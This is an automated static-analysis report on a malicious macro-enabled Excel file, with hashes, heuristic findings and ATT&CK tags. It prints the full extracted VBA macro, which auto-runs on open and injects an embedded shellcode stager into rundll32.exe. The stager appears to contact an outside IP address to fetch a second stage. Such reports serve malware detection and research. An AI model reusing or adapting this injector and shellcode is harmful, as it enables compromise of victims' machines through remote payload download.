Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a21040e125b39fc2…

MALICIOUS

Office (OOXML)

6.5 KB First seen: 2021-06-04
MD5: c458e34dd814bd0fd39b33f657bb0325 SHA-1: f24fd78b9cff2ee876293621357511b814fb7dce SHA-256: a21040e125b39fc2bb2b98afefc530c245a8dab2f9ac5b6264a3842978518fe4
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1055 Process Injection

The OOXML file contains VBA macros, specifically triggering AutoOpen, Workbook_Open, and Auto_Open heuristics, indicating malicious intent. The VBA script attempts to allocate memory and write to it using VirtualAllocEx and WriteProcessMemory, then create a remote thread using CreateRemoteThread, strongly suggesting it's designed to inject and execute a second-stage payload. The script's complexity and use of Windows API calls point towards a downloader or dropper functionality.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    -123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,52,53,46,49,53,48,46,50,51,54,46,50,50,48,0,25,105,-96,-115)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7383 bytes
SHA-256: 957fc5d75bea27cf1cdde7efcb2292edf7b522996f13a117c85f0c847e09dcec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
-43,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,-90,2,0,0,83,80,104,87,-119,-97, _
-58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86, _
104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1, _
-43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1, _
-1,-1,47,54,75,111,108,0,-18,55,84,-68,57,84,-92,-42,0,51,-113,-25,-54,110,80,-95,-33,20,-94,-87,-104,-61,-49,-83,40,-46,-5,-49,96,49,-39,99, _
-113,74,92,54,-61,-103,-33,25,90,-90,107,39,-33,-122,-82,93,-96,107,5,106,59,60,4,-75,18,-59,42,19,-36,-78,-45,123,15,-14,37,79,-7,15,50,51, _
56,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77, _
83,73,69,32,57,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,54,46,49,59,32,87,79,87,54,52,59,32,84,114,105,100,101,110,116,47, _
53,46,48,59,32,78,80,48,54,41,13,10,0,57,73,-107,6,-107,-72,-19,91,-81,76,-120,-8,67,60,-110,93,-11,59,122,53,-46,9,-30,62,-121,-108,-103, _
83,-106,-61,120,3,-73,-104,77,60,-123,-20,54,4,89,-127,39,120,8,11,-11,-5,-25,-31,-81,104,2,13,93,-95,86,-88,-103,49,-107,2,-8,94,-24,20,111, _
-118,-58,-108,-12,-82,10,-41,-12,53,12,-86,-89,98,10,-99,-18,96,-55,118,96,92,21,75,67,26,-46,83,-90,8,-10,107,93,-32,-27,-124,-113,120,81,-12,9, _
40,-32,104,-125,58,26,-16,126,7,16,-52,41,124,109,-18,25,103,-95,-102,-93,-82,-26,-124,-34,-53,-103,-58,-120,62,117,104,-93,-13,27,68,-120,-15,-69,24,-30, _
19,-3,7,124,-18,21,-60,-116,-94,-37,6,27,-109,23,18,-48,-2,55,83,126,-52,99,6,-75,73,71,68,17,-78,-115,-21,7,58,-48,126,5,-18,30,15,125, _
-8,126,-53,-45,25,-7,-94,-61,-20,123,-96,115,-48,123,-6,-28,49,63,109,-54,-33,-102,106,103,-108,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0, _
104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43, _
-123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,52,53,46,49,53,48,46,50,51,54,46,50,50,48,0,25,105,-96,-115)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7680 bytes
SHA-256: c148c222012375bb4813f57fa4e31b2e75b110bda8486cc97589702e1317acbe

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